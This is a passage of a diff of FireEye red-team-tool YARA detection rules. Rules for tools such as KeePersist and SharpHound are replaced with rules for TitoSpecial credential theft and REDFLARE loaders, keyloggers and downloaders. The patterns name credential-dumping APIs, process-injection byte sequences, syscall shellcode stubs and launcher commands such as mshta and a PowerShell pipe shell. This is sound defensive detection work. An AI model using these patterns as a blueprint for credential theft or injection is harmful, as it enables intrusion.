FF FF 1F 00 FF 15 [10-90] 00 00 00 00 [2-6] 80 00 00 00 [2-6] 02 00 00 00 45 33 C9 45 33 C0 BA 00 00 00 10 48 8D 0D [4] FF 15 [4-120] 00 00 00 00 [2-6] 00 00 00 00 [2-6] 00 00 00 00 41 B9 02 00 00 00 [6-15] E8 [4-20] FF 15 } + $shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 } + $shellcode_x64_inline = { C6 44 24 ?? 4C C6 44 24 ?? 8B C6 44 24 ?? D1 C6 44 24 ?? B8 C6 44 24 ?? 3C C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 00 C6 44 24 ?? 0F C6 44 24 ?? 05 C6 44 24 ?? C3 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and $dump and any of ( $shellcode* ) } -rule FIREEYE_RT_Hacktool_MSIL_Keepersist_1 : FILE +rule FIREEYE_RT_Credtheft_MSIL_Titospecial_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeePersist' project." + description = "This rule looks for .NET PE files that have the strings of various method names in the TitoSpecial code." author = "FireEye" - id = "950a4744-2696-5eb7-8524-7f689cb5dbb0" + id = "932bb013-03de-5cf7-89e9-b3232151d303" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/KEEPERSIST/production/yara/HackTool_MSIL_KeePersist_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/CredTheft_MSIL_TitoSpecial_1.yar#L4-L27" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "eae67c77a64ca07f9ef59a356bb2c3f3131f14e7f17c898ef8857a21090ace0e" + hash = "4bf96a7040a683bd34c618431e571e26" + logic_hash = "4ac9a5ede4aea5d73545b459eb635f87ce08ba521afa48b76d2cfa94f1379226" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 2 + rev = 4 strings: - $typelibguid0 = "1df47db2-7bb8-47c2-9d85-5f8d3f04a884" ascii nocase wide + $str1 = "Minidump" ascii wide + $str2 = "dumpType" ascii wide + $str3 = "WriteProcessMemory" ascii wide + $str4 = "bInheritHandle" ascii wide + $str5 = "GetProcessById" ascii wide + $str6 = "SafeHandle" ascii wide + $str7 = "BeginInvoke" ascii wide + $str8 = "EndInvoke" ascii wide + $str9 = "ConsoleApplication1" ascii wide + $str10 = "getOSInfo" ascii wide + $str11 = "OpenProcess" ascii wide + $str12 = "LoadLibrary" ascii wide + $str13 = "GetProcAddress" ascii wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of ( $str* ) } -rule FIREEYE_RT_Hacktool_MSIL_Sharpschtask_1 : FILE +rule FIREEYE_RT_APT_Hacktool_MSIL_TITOSPECIAL_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpSchtask' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "5c7a5dee-3bc2-54b2-a7e2-be05ba74d4a1" - date = "2020-12-08" + id = "b12490ba-41f6-5469-bcbb-0d2e0055c193" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSCHTASK/production/yara/HackTool_MSIL_SharpSchtask_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/TITOSPECIAL/production/yara/APT_HackTool_MSIL_TITOSPECIAL_1.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "7437fde82920f4d015a7f149b58924baf6cb220c6f6857d9509e23795ff0811c" + hash = "4bf96a7040a683bd34c618431e571e26" + logic_hash = "6def0c667d38c1bad9233628e509bdcaed322e75be4ff3823b0f788c391e090c" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 1 + rev = 5 strings: - $typelibguid0 = "0a64a5f4-bdb6-443c-bdc7-f6f0bf5b5d6c" ascii nocase wide + $ind_dump = { 1F 10 16 28 [2] 00 0A 6F [2] 00 0A [50-200] 18 19 18 73 [2] 00 0A 13 [1-4] 06 07 11 ?? 6F [2] 00 0A 18 7E [2] 00 0A 7E [2] 00 0A 7E [2] 00 0A 28 [2] 00 06 } + $ind_s1 = "NtReadVirtualMemory" fullword wide + $ind_s2 = "WriteProcessMemory" fullword + $shellcode_x64 = { 4C 8B D1 B8 3C 00 00 00 0F 05 C3 } + $shellcode_x86 = { B8 3C 00 00 00 33 C9 8D 54 24 04 64 FF 15 C0 00 00 00 83 C4 04 C2 14 00 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of ( $ind* ) and any of ( $shellcode* ) } -rule FIREEYE_RT_Hacktool_MSIL_Sharphound_3 : FILE +rule FIREEYE_RT_Loader_MSIL_Csharpsectioninjection_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'C_Sharp_SectionInjection' project." author = "FireEye" - id = "456b3208-1e8d-5eb7-81ee-39f1c886c5a7" + id = "ca5bf5cd-1950-53ed-8984-e880a15e658e" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_SharpHound_3.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPSECTIONINJECTION/production/yara/Loader_MSIL_CSharpSectionInjection_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "eeedc09570324767a3de8205f66a5295" - logic_hash = "baeea6cae42c755ee389378229b2b206c82f60f75a5ce5f9cfa06871fc9507d1" + hash = "dd8805d0e470e59b829d98397507d8c2" + logic_hash = "011cf4dffe6ef90a79cdfabb0e297152c00b0404b1801f56fd7e703ab90b1692" score = 75 quality = 73 tags = "FILE" - rev = 4 + rev = 2 strings: - $typelibguid1 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii nocase wide + $typelibguid0 = "d77135da-0496-4b5c-9afe-e1590a4c136a" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1 + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_Puppyhound_1 : FILE +rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_1 : FILE { meta: - description = "This is a modification of an existing FireEye detection for SharpHound. However, it looks for the string 'PuppyHound' instead of 'SharpHound' as this is all that was needed to detect the PuppyHound variant of SharpHound." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "1155f959-c8bc-597a-8a80-abee8d95b6ec" - date = "2020-12-08" + id = "b8a2c388-3b27-5075-b0ee-2773ae0c67ad" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PUPPYHOUND/production/yara/HackTool_MSIL_PuppyHound_1.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "eeedc09570324767a3de8205f66a5295" - logic_hash = "39073bbfef15ecd28c1772e5d01e54c3d5774ecb4c90f0076bda5dc400abacba" + hash = "01d68343ac46db6065f888a094edfe4f" + logic_hash = "f9165aabe4bad215211cf98559099030ddb8a76175fbfcfee3c6f25d7614bdad" score = 75 - quality = 50 + quality = 75 tags = "FILE" - rev = 6 + rev = 1 strings: - $1 = "PuppyHound" - $2 = "UserDomainKey" - $3 = "LdapBuilder" - $init = { 28 [2] 00 0A 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 28 [2] 00 0A 0B 1F 2D } - $msil = /\x00_Cor(Exe|Dll)Main\x00/ + $alloc_n_load = { 6A 40 68 00 30 00 00 [0-20] 6A 00 [0-20] FF D0 [4-60] F3 A4 [30-100] 6B C0 28 8B 4D ?? 8B 4C 01 10 8B 55 ?? 6B D2 28 } + $const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them } -rule FIREEYE_RT_APT_Backdoor_PS1_BASICPIPESHELL_1 +rule FIREEYE_RT_APT_Keylogger_Win32_REDFLARE_1 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "8f85d6cc-fd1e-5bf3-8052-440cbeda0ac9" - date = "2020-12-18" - modified = "2020-12-18" + id = "ad14db66-d640-5712-b2c8-a3d42d5a90f3" + date = "2020-12-01" + date = "2020-12-01" + modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/BASICPIPESHELL/production/yara/APT_Backdoor_PS1_BASICPIPESHELL_1.yar#L5-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Keylogger_Win32_REDFLARE_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - logic_hash = "7a9f0002055ffe826562cab3d02d8babd14c5fcd6d0b528a2988e2649034279d" + hash = "d7cfb9fbcf19ce881180f757aeec77dd" + logic_hash = "aebbaa050bee3775ffac4214ea4ab58284384e7eb41e66ee4838b9359e72821e" score = 75 - quality = 63 - tags = "" + quality = 75 + tags = "FILE" + rev = 2 strings: - $s1 = "function Invoke-Client()" ascii nocase wide - $s2 = "function Invoke-Server" ascii nocase wide - $s3 = "Read-Host 'Enter Command:'" ascii nocase wide - $s4 = "new-object System.IO.Pipes.NamedPipeClientStream(" ascii nocase wide - $s5 = "new-object System.IO.Pipes.NamedPipeServerStream(" ascii nocase wide - $s6 = " = iex $" ascii nocase wide + $create_window = { 6A 00 68 [4] 6A 00 6A 00 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 00 80 68 00 00 CF 00 68 [4] 68 [4] 6A 00 FF 15 } + $keys_check = { 6A 14 [0-5] FF [1-5] 6A 10 [0-5] FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A0 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 75 ?? 68 A1 00 00 00 FF [1-5] B9 00 80 FF FF 66 85 C1 74 } condition: - all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them } -rule FIREEYE_RT_Loader_MSIL_Netassemblyinject_1 : FILE +rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_7 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'NET-Assembly-Inject' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "62a7dc4c-678b-5f13-9661-4679eafe1c72" - date = "2020-12-08" + id = "f891e477-9ff2-57be-9ca5-dd87d9baee29" + date = "2020-12-02" + date = "2020-12-02" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NETASSEMBLYINJECT/production/yara/Loader_MSIL_NETAssemblyInject_1.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Trojan_Win_REDFLARE_7.yar#L4-L21" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "9a43df9ee26a44f4db5c2d22fbc1a6c86c5af0c9d44a79c6627a4cc8cf31bb8d" + hash = "e7beece34bdf67cbb8297833c5953669, 8025bcbe3cc81fc19021ad0fbc11cf9b" + logic_hash = "6d7822256ac1bef05304d3396df773e2b20a397311ad820d6ec5fe4cb6bdfbbc" score = 75 - quality = 69 + quality = 75 tags = "FILE" - rev = 2 + rev = 1 strings: - $typelibguid0 = "af09c8c3-b271-4c6c-8f48-d5f0e1d1cac6" ascii nocase wide - $typelibguid1 = "c5e56650-dfb0-4cd9-8d06-51defdad5da1" ascii nocase wide - $typelibguid2 = "e8fa7329-8074-4675-9588-d73f88a8b5b6" ascii nocase wide + $1 = "initialize" fullword + $2 = "getData" fullword + $3 = "putData" fullword + $4 = "fini" fullword + $5 = "NamedPipe" + $named_pipe = { 88 13 00 00 [1-8] E8 03 00 00 [20-60] 00 00 00 00 [1-8] 00 00 00 00 [1-40] ( 6A 00 6A 00 6A 03 6A 00 6A 00 68 | 00 00 00 00 [1-6] 00 00 00 00 [1-6] 03 00 00 00 45 33 C? 45 33 C? BA ) 00 00 00 C0 [2-10] FF 15 [4-30] FF 15 [4-7] E7 00 00 00 [4-40] FF 15 [4] 85 C0 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Dropper_LNK_Lnksmasher_1 : FILE +rule FIREEYE_RT_APT_Downloader_Win64_REDFLARE_1 : FILE { meta: - description = "The LNKSmasher project contains a prebuilt LNK file that has pieces added based on various configuration items. Because of this, several artifacts are present in every single LNK file generated by LNKSmasher, including the Drive Serial #, the File Droid GUID, and the GUID CLSID." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "1b93ddf8-9578-5e47-b479-4c9e8a40b4f4" - date = "2020-12-08" + id = "15a5e22b-84b0-5b36-8772-1d496ac447b2" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/production/yara/Dropper_LNK_LNKSmasher_1.yar#L4-L18" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Downloader_Win64_REDFLARE_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "0a86d64c3b25aa45428e94b6e0be3e08" - logic_hash = "61d1ac67ac0d332ad842a522cbebe1b9af1482d58a210b50fb45209355c0aeeb" + hash = "9529c4c9773392893a8a0ab8ce8f8ce1" + logic_hash = "1b9bece6083403615841c752eac48fd20095e918d6e175563dd122be2885d875" score = 75 quality = 75 tags = "FILE" - rev = 6 + rev = 2 strings: - $drive_serial = { 12 F7 26 BE } - $file_droid_guid = { BC 96 28 4F 0A 46 54 42 81 B8 9F 48 64 D7 E9 A5 } - $guid_clsid = { E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D } - $header = { 4C 00 00 00 01 14 02 } + $const = "Cookie: SID1=%s" fullword + $http_req = { 00 00 08 80 81 3D [4] BB 01 00 00 75 [1-10] 00 00 80 00 [1-4] 00 10 00 00 [1-4] 00 20 00 00 89 [6-20] 00 00 00 00 [6-20] 00 00 00 00 [2-10] 00 00 00 00 45 33 C9 [4-20] 48 8D 15 [4] 48 8B 0D [4] FF 15 [4-50] B9 14 00 00 00 E8 } condition: - $header at 0 and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_Hunting_LNK_Win_Genericlauncher : FILE +rule FIREEYE_RT_APT_Loader_Win32_REDFLARE_2 : FILE { meta: - description = "Signature to detect LNK files or OLE objects with embedded LNK files and generic launcher commands, except powershell which is large enough to have its own gene" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "1a12e475-bb18-55ab-b629-47b711c10e6b" - date = "2018-09-04" + id = "6a585401-bfd3-5aad-b484-09b6a30d9af5" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/LNKSMASHER/supplemental/yara/Hunting_LNK_Win_GenericLauncher.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win32_REDFLARE_2.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "14dd758e8f89f14612c8df9f862c31e4" - logic_hash = "a654cd3594e2d09950fb11bf8721a5cdb89f5d5be6e706f12e18c7fcdf7dd0fe" - score = 60 - quality = 53 + hash = "4e7e90c7147ee8aa01275894734f4492" + logic_hash = "98dfb71adbde4f8965e612c19f0965d8fa95805825569290fdf72eb1d86cfb70" + score = 75 + quality = 75 tags = "FILE" - rev = 7 + rev = 1 strings: - $a01 = "cmd.exe /" ascii nocase wide - $a02 = "cscript" ascii nocase wide - $a03 = "jscript" ascii nocase wide - $a04 = "wscript" ascii nocase wide - $a05 = "wmic" ascii nocase wide - $a07 = "mshta" ascii nocase wide - $header = { 4C 00 00 00 01 14 02 } + $inject = { 83 F8 01 [4-50] 6A 00 6A 00 68 04 00 00 08 6A 00 6A 00 6A 00 6A 00 5? [10-70] FF 15 [4] 85 C0 [1-20] 6A 04 68 00 10 00 00 5? 6A 00 5? [1-10] FF 15 [4-8] 85 C0 [1-20] 5? 5? 5? 8B [1-4] 5? 5? FF 15 [4] 85 C0 [1-20] 6A 20 [4-20] FF 15 [4] 85 C0 [1-40] 01 00 01 00 [2-20] FF 15 [4] 85 C0 [1-30] FF 15 [4] 85 C0 [1-20] FF 15 [4] 83 F8 FF } + $s1 = "ResumeThread" condition: - (( $header at 0 ) or ( ( uint32( 0 ) == 0xE011CFD0 ) and $header ) ) and ( 1 of ( $a* ) ) + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them } -rule FIREEYE_RT_Loader_MSIL_Inmemorycompilation_1 : FILE +rule FIREEYE_RT_APT_Loader_Raw64_REDFLARE_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'In-MemoryCompilation' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "80234352-a449-5292-9f0c-beb7a1d39a6c" - date = "2020-12-08" + id = "8e937f6a-404f-53bd-9de2-ed63b1cf48b2" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/MEMCOMP/production/yara/Loader_MSIL_InMemoryCompilation_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Raw64_REDFLARE_1.yar#L4-L16" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "a964a186eb02a2792db01727a31ddaa2414fe9df83cda9b1c9db15d94603303a" + hash = "5e14f77f85fd9a5be46e7f04b8a144f5" + logic_hash = "dac122ccece8a6dd35a5fe9d37860a612aa50ab469b79f4375dbe776f60c7b57" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 2 + rev = 1 strings: - $typelibguid0 = "524d2687-0042-4f93-b695-5579f3865205" ascii nocase wide + $load = { EB ?? 58 48 8B 10 4C 8B 48 ?? 48 8B C8 [1-10] 48 83 C1 ?? 48 03 D1 FF } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) != 0x5A4D ) and all of them } -rule FIREEYE_RT_APT_Loader_Win32_PGF_4 : FILE +rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_1 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "d46d9ae9-cb7d-5a25-9ee2-766097c14af6" - date = "2020-11-26" - date = "2020-11-26" + id = "dc162f26-66d3-5359-b1d7-ef2208b359e2" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_4.yar#L4-L17" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_1.yar#L4-L17" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "4414953fa397a41156f6fa4f9462d207" - logic_hash = "4256bfd3713f330d76cad9d1ddbba91e588dbca2e2b6842e9482525805ddc1e8" + hash = "f20824fa6e5c81e3804419f108445368" + logic_hash = "2cae245a6aa36dccc2228cccefdc4ca0eb278901f063e072a369000f67d73a55" score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $sb1 = { C7 44 24 0C 04 00 00 00 C7 44 24 08 00 10 00 00 [4-32] C7 04 24 00 00 00 00 [0-32] FF [1-16] 89 45 ?? 83 7D ?? 00 [2-150] 0F B? ?? 8B [2] B? CD CC CC CC 89 ?? F7 ?? C1 ?? 04 89 ?? C1 ?? 02 [0-32] 0F B? [5-32] 3? [1-16] 88 } - $sb2 = { C? 45 ?? B8 [0-4] C? 45 ?? 00 [0-64] FF [0-32] E0 [0-32] C7 44 24 08 40 00 00 00 [0-32] C7 44 24 04 07 00 00 00 [0-32] FF [1-64] 89 ?? 0F B? [2-3] 89 ?? 04 0F B? [2] 88 ?? 06 8B ?? 08 8D ?? 01 8B 45 0C } + $alloc_n_load = { 41 B9 40 00 00 00 41 B8 00 30 00 00 33 C9 [1-10] FF 50 [4-80] F3 A4 [30-120] 48 6B C9 28 [3-20] 48 6B C9 28 } + $const_values = { 0F B6 ?? 83 C? 20 83 F? 6D [2-20] 83 C? 20 83 F? 7A } condition: - ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_APT_Loader_Win64_PGF_1 : FILE +rule FIREEYE_RT_APT_Loader_Win64_REDFLARE_2 : FILE { meta: - description = "base dlls: /lib/payload/techniques/unmanaged_exports/" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "1f2280c0-0fdd-5930-947a-931274bccd6f" - date = "2020-11-25" - date = "2020-11-25" + id = "043f4e29-710d-5e17-a0ed-82cd3a565194" + date = "2020-11-27" + date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_1.yar#L4-L19" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/REDFLARE/production/yara/APT_Loader_Win64_REDFLARE_2.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "2b686a8b83f8e1d8b455976ae70dab6e" - logic_hash = "2e84d614c34b0b7f93fa70fa3312f22e3ff23f2abd33b2e19c00dd6cba7dcfdc" + hash = "100d73b35f23b2fe84bf7cd37140bf4d" + logic_hash = "9fad845ed963fae46ac7ddc44407d5f6ed0a061f6a106764b9f912ef718279b4" score = 75 quality = 75 tags = "FILE" rev = 1 strings: - $sb1 = { B9 14 00 00 00 FF 15 [4-32] 0F B6 ?? 04 [0-32] F3 A4 [0-64] 0F B6 [2-3] 0F B6 [2-3] 33 [0-32] 88 [1-9] EB } - $sb2 = { 41 B8 00 30 00 00 [0-32] FF 15 [8-64] 83 ?? 01 [4-80] 0F B6 [1-64] 33 [1-32] 88 [1-64] FF ( D? | 5? ) } - $sb3 = { 48 89 4C 24 08 [4-64] 48 63 48 3C [0-32] 48 03 C1 [0-64] 0F B7 48 14 [0-64] 48 8D 44 08 18 [8-64] 0F B7 40 06 [2-32] 48 6B C0 28 } + $alloc = { 45 8B C0 33 D2 [2-6] 00 10 00 00 [2-6] 04 00 00 00 [1-6] FF 15 [4-60] FF 15 [4] 85 C0 [4-40] 20 00 00 00 [4-40] FF 15 [4] 85 C0 } + $inject = { 83 F8 01 [2-20] 33 C0 45 33 C9 [3-10] 45 33 C0 [3-10] 33 D2 [30-100] FF 15 [4] 85 C0 [20-100] 01 00 10 00 [0-10] FF 15 [4] 85 C0 [4-30] FF 15 [4] 85 C0 [2-20] FF 15 [4] 83 F8 FF } + $s1 = "ResumeThread" fullword condition: ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_APT_Loader_Win_PGF_2 : FILE +rule FIREEYE_RT_APT_Trojan_Win_REDFLARE_4 : FILE { meta: - description = "PE rich header matches PGF backdoor" + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "595c9e2a-3d9d-5366-9449-de1bcf333f78" - date = "2020-12-08" + id = "6e8621b0-a0ee-5fc7-a2b8-1973a42d6e37" + date = "2020-12-01" + date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win_PGF_2.yar#L4-L21" + source_url = 